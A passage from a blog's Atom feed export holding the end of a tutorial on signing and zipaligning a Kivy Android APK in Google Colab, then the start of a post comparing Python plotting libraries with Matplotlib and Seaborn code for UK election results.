&lt;p&gt;*replace 123456789 with your own password&lt;/p&gt;&lt;br /&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keytool&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;list&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystore&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystores&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivyapp&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystore&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivyapp&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;v&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;storepass&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;123456789&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-17-[get-file-path-of-your-apk-using-windows-cmd-command-line]&quot;&gt;
&lt;h2&gt;🥝 Run 17 [Get File Path of your APK using windows CMD command line]&lt;a class=&quot;headerlink&quot; href=&quot;#run-17-[get-file-path-of-your-apk-using-windows-cmd-command-line]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;cd&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;bin&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ne&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;bin/&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dir&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-18-[sign-the-release-apk-using-the-keystore]&quot;&gt;
&lt;h2&gt;🥝 Run 18 [Sign the release apk using the keystore]&lt;a class=&quot;headerlink&quot; href=&quot;#run-18-[sign-the-release-apk-using-the-keystore]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;!jarsigner -keystore keystores/kivyapp.keystore &amp;lt; YOUR APK &amp;gt; kivyapp&lt;/p&gt;&lt;br /&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;jarsigner&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystore&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystores&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivyapp&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keystore&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;YOUR&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;APK&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PATH&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;kivyapp&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-19-[install-android-sdk]&quot;&gt;
&lt;h2&gt;🥝 Run 19 [Install Android SDK]&lt;a class=&quot;headerlink&quot; href=&quot;#run-19-[install-android-sdk]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Reason:- We need zipalign tool found in Android SDK&lt;br /&gt;for that Install android-sdk&lt;br /&gt;It will take few seconds to install unlike windows&lt;/p&gt;&lt;br /&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;apt&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;update&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;apt&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sdk&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-20-[check-if-zipalign-is-installed-&amp;amp;-running]&quot;&gt;
&lt;h2&gt;🥝 Run 20 [Check if zipalign is installed &amp;amp; running]&lt;a class=&quot;headerlink&quot; href=&quot;#run-20-[check-if-zipalign-is-installed-&amp;amp;-running]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;zipalign&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;h&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;


&lt;section class=&quot;section2&quot; id=&quot;run-21-[get-file-path-of-your-apk-again-using-windows-cmd-command-line]&quot;&gt;
&lt;h2&gt;🥝 Run 21 [Get File Path of your APK again using windows CMD command line]&lt;a class=&quot;headerlink&quot; href=&quot;#run-21-[get-file-path-of-your-apk-again-using-windows-cmd-command-line]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;cd&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;bin&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ne&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;bin/&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;dir&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;

&lt;section class=&quot;section2&quot; id=&quot;run-22-[zipalign-the-apk]&quot;&gt;
&lt;h2&gt;🥝 Run 22 [zipalign the APK]&lt;a class=&quot;headerlink&quot; href=&quot;#run-22-[zipalign-the-apk]&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;zipalign is an archive alignment tool that provides important optimization to Android application (ie. .apk) file.&lt;br /&gt;...&lt;br /&gt;!zipalign -v 4 &amp;lt; YOUR APK-release-unsigned.apk &amp;gt; &amp;lt; YOUR APK-release-optimized.apk &amp;gt;&lt;br /&gt;...&lt;br /&gt;!zipalign -v 4 bin/YOUR-APK-release-unsigned.apk Final-APK-release-optimized.apk&lt;/p&gt;&lt;br /&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;zipalign&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;v&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;4&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;YOUR&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;APK&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PATH&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;myapp&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;armeabi&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;v7a&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;release&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;optimized&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;apk&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;NOTE DONT FORGET Toooooooooooooooooooooooo......:&lt;br /&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Download your keystores old &amp;amp; new&lt;/li&gt;&lt;li&gt;Remember your keystore password (write it somewhere)&lt;/li&gt;&lt;li&gt;Download your unsign apk&lt;/li&gt;&lt;li&gt;Download your release apk&lt;/li&gt;&lt;li&gt;Download your ICON/sound file/font file if any&lt;/li&gt;&lt;li&gt;Download your main.py *IMPORTANT&lt;/li&gt;&lt;/ul&gt;Because After you close google colab it will not save your work
Backup EVERYTHING&lt;br /&gt;

&lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;br /&gt;&lt;b&gt;:::Dev Info:::&lt;/b&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;My Name:-&lt;/b&gt; Joel D&#39;costa&lt;br /&gt;
  &lt;b&gt;Git:-&lt;/b&gt; &lt;a href=&quot;https://github.com/joeldcosta/KIVY-APP-Maker&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Kivy APP Maker&lt;/a&gt;&lt;br /&gt;
  &lt;b&gt;Google Colab:-&lt;/b&gt; &lt;input type=&quot;image&quot; onclick=&quot;window.open(&#39;https://colab.research.google.com/github/joeldcosta/KIVY-APP-Maker/blob/main/KIVY_APP_Maker.ipynb&#39;,&#39;_blank&#39;)&quot; src=&quot;https://colab.research.google.com/assets/colab-badge.svg&quot; /&gt;
  &lt;/p&gt;&lt;br /&gt;
&lt;/div&gt; 

</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/908688983652189770/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2022/01/kivy-apk-aab-kivy-python-framework-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/908688983652189770'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/908688983652189770'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2022/01/kivy-apk-aab-kivy-python-framework-for.html' title='Kivy .APK .AAB | Kivy Python Framework For Mobile App Development'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/k12E5jbWqQQ/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-5510109671438111917</id><published>2022-01-02T08:11:00.036-08:00</published><updated>2022-01-07T12:29:27.204-08:00</updated><title type='text'>The 7 most popular ways to plot data in Python</title><content type='html'>&lt;style&gt;
.cssterm {
	clear: both;
	box-sizing: border-box;
	position: relative;
	border-radius: 0 0 4px 4px;
	box-shadow: 4px 2px 8px #090909;
	padding: 12px;
	word-wrap: break-word;
	overflow-wrap: break-word;
	font-family: ubuntu mono, dejavu sans mono, courier new, Courier, monospace;
	background: #232323;
	background: rgba(9, 9, 9, .9);
	color: #63de00;
	margin-bottom: 1ex;
	title: &#39;Triple click to select a complete line!&#39;;
	max-width: 97%
	}
.cssterm:before {
		display: block;
		position: relative;
		width: 100%;
		left: -12px;
		top: -12px;
		padding: 12px;
		content: &quot;Terminal&quot;;
		color: #c9c9c9;
		font-size: smaller;
		font-weight: 700;
		line-height: 4px;
		background: #010101
	}
.cssterm:after {
		display: block;
		content: &quot;&quot;;
		position: absolute;
		top: 6px;
		width: 16px;
		height: 16px;
		border-radius: 50%;
		border: 1px solid #88070e;
		background-color: #f4343e;
		background: linear-gradient(to bottom, #f7646c, #d00b16);
		right: 8px
	}
.cssterm&gt;*:before {
		display: block;
		content: &quot;&quot;;
		position: absolute;
		top: 6px;
		width: 16px;
		height: 16px;
		border-radius: 50%;
		border: 1px solid #07880e;
		background-color: #34f43e;
		background: linear-gradient(to bottom, #64f76c, #0bd016);
		right: 32px
	}
.cssterm&gt;*:after {
		display: block;
		content: &quot;&quot;;
		position: absolute;
		top: 6px;
		width: 16px;
		height: 16px;
		border-radius: 50%;
		border: 1px solid #917608;
		background-color: #f4d03e;
		background: linear-gradient(to bottom, #f7dc6e, #d9b10c);
		right: 56px
	}
&lt;/style&gt;
&lt;div&gt;&lt;div&gt;
&lt;div class=&quot;os-article__image&quot;&gt;
      &lt;div class=&quot;panel-pane pane-entity-field pane-node-field-lead-image&quot;&gt;
  

         &lt;div class=&quot;bg-light sidebar-module sidebar-module-inset&quot; id=&quot;toc&quot;&gt;
     &lt;p class=&quot;h3 mb-2 text-muted&quot;&gt;Table of Contents&lt;/p&gt;
     &lt;div class=&quot;toc&quot;&gt;
     &lt;ul&gt;
     &lt;li&gt;&lt;a href=&quot;#an-example-plot&quot;&gt;An Example Plot&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#matplotlib&quot;&gt;Matplotlib&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#seaborn&quot;&gt;Seaborn&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#plotly&quot;&gt;Plotly&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#bokeh&quot;&gt;Bokeh&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#altair&quot;&gt;Altair&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#pygal&quot;&gt;Pygal&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#pandas&quot;&gt;Pandas&lt;/a&gt;&lt;/li&gt;
     &lt;/ul&gt;
     &lt;/div&gt;
     &lt;/div&gt;      
  
  &lt;div class=&quot;field field-name-field-lead-image field-type-image field-label-hidden&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;div class=&quot;field-item even&quot; rel=&quot;schema:contentUrl&quot; resource=&quot;https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LIFE_wavegraph.png?itok=z4pXCf_c&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;A graph of a wave.&quot; class=&quot;image-full-size&quot; height=&quot;292&quot; src=&quot;https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LIFE_wavegraph.png?itok=z4pXCf_c&quot; title=&quot;A graph of a wave.&quot; typeof=&quot;foaf:Image&quot; width=&quot;520&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;/div&gt;&lt;/div&gt;
  
  &lt;/div&gt;

    &lt;/div&gt;

&lt;div class=&quot;os-article__middle&quot;&gt;
&lt;div class=&quot;panel-pane pane-entity-field pane-node-body&quot;&gt;
  

        
  
  &lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot; property=&quot;schema:articleBody content:encoded&quot;&gt;&lt;p&gt;&quot;How do I make plots in Python?&quot; used to have a simple answer: Matplotlib was the only way. Nowadays, Python is the language of data science, and there&#39;s a lot more choice. What should you use?&lt;/p&gt;

  
&lt;/div&gt;&lt;/div&gt;This guide will help you decide. It will show you how to use each of the four most popular Python plotting libraries—&lt;b&gt;Matplotlib&lt;/b&gt;, &lt;b&gt;Seaborn&lt;/b&gt;, &lt;b&gt;Plotly&lt;/b&gt;, and &lt;b&gt;Bokeh&lt;/b&gt;—plus a couple of great up-and-comers to consider: &lt;b&gt;Altair&lt;/b&gt;, with its expressive API, and &lt;b&gt;Pygal&lt;/b&gt;, with its beautiful SVG output. I&#39;ll also look at the very convenient plotting API provided by &lt;b&gt;pandas&lt;/b&gt;.&lt;p&gt;&lt;/p&gt;

&lt;p&gt;For each library, I&#39;ve included source code snippets, as well as a full web-based example using&amp;nbsp;&lt;a data-saferedirecturl=&quot;https://www.google.com/url?q=https://anvil.works&amp;amp;source=gmail&amp;amp;ust=1585764240615000&amp;amp;usg=AFQjCNHUavIQJt_WlzCzIIoXgy9jyd5hhQ&quot; href=&quot;https://anvil.works/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Anvil&lt;/a&gt;,&amp;nbsp;our platform for building web apps with nothing but Python. Let&#39;s take a look.&lt;/p&gt;

    
&lt;section class=&quot;section2&quot; id=&quot;an-example-plot&quot;&gt;
&lt;h2&gt;An Example Plot&lt;a class=&quot;headerlink&quot; href=&quot;#an-example-plot&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
  
&lt;p&gt;Each library takes a slightly different approach to plotting data. To compare them, I&#39;ll make the same plot with each library and show you the source code. For my example data, I chose this grouped bar chart of British election results since 1966:&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;media media-element-container media-default media-wysiwyg-align-center&quot;&gt;&lt;div class=&quot;file file-image file-image-png&quot; id=&quot;file-469401&quot;&gt;

        
    
  
  &lt;div class=&quot;content&quot;&gt;
    &lt;img alt=&quot;Bar chart of British election data&quot; class=&quot;media-element file-default&quot; data-delta=&quot;1&quot; height=&quot;323&quot; src=&quot;https://opensource.com/sites/default/files/uploads/british-election-data-chart.png&quot; title=&quot;Bar chart of British election data&quot; typeof=&quot;foaf:Image&quot; width=&quot;675&quot; /&gt;&lt;/div&gt;

  
&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;I compiled the &lt;a href=&quot;https://en.wikipedia.org/wiki/United_Kingdom_general_elections_overview&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;dataset of British election history&lt;/a&gt; from Wikipedia: the number of seats in the UK parliament won by the Conservative, Labour, and Liberal parties (broadly defined) in each election from 1966 to 2019, plus the number of seats won by &quot;others.&quot; You can &lt;a href=&quot;https://anvil.works/blog/img/plotting-in-python/uk-election-results.csv&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;download it as a CSV file&lt;/a&gt;.&lt;/p&gt;

          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;matplotlib&quot;&gt;
          &lt;h2&gt;Matplotlib&lt;a class=&quot;headerlink&quot; href=&quot;#matplotlib&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://matplotlib.org/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Matplotlib&lt;/a&gt; is the oldest Python plotting library, and it&#39;s still the most popular. It was created in 2003 as part of the &lt;a href=&quot;https://www.scipy.org/about.html&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;SciPy Stack&lt;/a&gt;, an open source scientific computing library similar to &lt;a href=&quot;https://www.mathworks.com/products/matlab.html&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Matlab&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Matplotlib gives you precise control over your plots—for example, you can define the individual x-position of each bar in your barplot. Here is the code to graph this (which you can run &lt;a href=&quot;https://anvil.works/blog/plotting-in-matplotlib&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;pre class=&quot;cssterm&quot; title=&quot;Triple click to select a complete line!&quot;&gt;&lt;code&gt;
import matplotlib.pyplot as plt
import numpy as np
from votes import wide as df

# Initialise a figure. subplots() with no args gives one plot.
fig, ax = plt.subplots()

# A little data preparation
years = df[&#39;year&#39;]
x = np.arange(len(years))

# Plot each bar plot. Note: manually calculating the &#39;dodges&#39; of the bars
ax.bar(x - 3*width/2, df[&#39;conservative&#39;], width, label=&#39;Conservative&#39;, color=&#39;#0343df&#39;)
ax.bar(x - width/2, df[&#39;labour&#39;], width, label=&#39;Labour&#39;, color=&#39;#e50000&#39;)
ax.bar(x + width/2, df[&#39;liberal&#39;], width, label=&#39;Liberal&#39;, color=&#39;#ffff14&#39;)
ax.bar(x + 3*width/2, df[&#39;others&#39;], width, label=&#39;Others&#39;, color=&#39;#929591&#39;)

# Customise some display properties
ax.set_ylabel(&#39;Seats&#39;)
ax.set_title(&#39;UK election results&#39;)
ax.set_xticks(x)    # This ensures we have one tick per year, otherwise we get fewer
ax.set_xticklabels(years.astype(str).values, rotation=&#39;vertical&#39;)
ax.legend()

# Ask Matplotlib to show the plot
plt.show()
&lt;/code&gt;
&lt;/pre&gt;
    
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;And here are the election results plotted in Matplotlib:&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;media media-element-container media-default media-wysiwyg-align-center&quot;&gt;&lt;div class=&quot;file file-image file-image-png&quot; id=&quot;file-469406&quot;&gt;

        
    
  
  &lt;div class=&quot;content&quot;&gt;
    &lt;img alt=&quot;Matplotlib plot of British election data&quot; class=&quot;media-element file-default&quot; data-delta=&quot;2&quot; height=&quot;520&quot; src=&quot;https://opensource.com/sites/default/files/uploads/matplotlib.png&quot; title=&quot;Matplotlib plot of British election data&quot; typeof=&quot;foaf:Image&quot; width=&quot;675&quot; /&gt;&lt;/div&gt;

  
&lt;/div&gt;
&lt;/div&gt;

&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;

          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;seaborn&quot;&gt;
          &lt;h2&gt;Seaborn&lt;a class=&quot;headerlink&quot; href=&quot;#seaborn&quot; title=&quot;Permanent link&quot;&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://seaborn.pydata.org/&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;Seaborn&lt;/a&gt; is an abstraction layer on top of Matplotlib; it gives you a really neat interface to make a wide range of useful plot types very easily.&lt;/p&gt;

&lt;p&gt;It doesn&#39;t compromise on power, though! Seaborn gives &lt;a href=&quot;https://anvil.works/blog/escape-hatches-and-ejector-seats&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;escape hatches&lt;/a&gt; to access the underlying Matplotlib objects, so you still have complete control.&lt;/p&gt;

&lt;p&gt;Seaborn&#39;s code is simpler than the raw Matplotlib (runnable &lt;a href=&quot;https://anvil.works/blog/plotting-in-seaborn&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;

&lt;pre class=&quot;cssterm&quot; title=&quot;Triple click to select a complete line!&quot;&gt;
&lt;code&gt;
import seaborn as sns
from votes import long as df

# Some boilerplate to initialise things
sns.set()
plt.figure()

# This is where the actual plot gets made
ax = sns.barplot(data=df, x=&quot;year&quot;, y=&quot;seats&quot;, hue=&quot;party&quot;, palette=[&#39;blue&#39;, &#39;red&#39;, &#39;yellow&#39;, &#39;grey&#39;], saturation=0.6)

# Customise some display properties
ax.set_title(&#39;UK election results&#39;)
ax.grid(color=&#39;#cccccc&#39;)
ax.set_ylabel(&#39;Seats&#39;)
ax.set_xlabel(None)
ax.set_xticklabels(df[&quot;year&quot;].unique().astype(str), rotation=&#39;vertical&#39;)

# Ask Matplotlib to show it
plt.show()
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;And produces this chart:&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;media media-element-container media-default media-wysiwyg-align-center&quot;&gt;&lt;div class=&quot;file file-image file-image-png&quot; id=&quot;file-469411&quot;&gt;

        
    
  
  &lt;div class=&quot;content&quot;&gt;
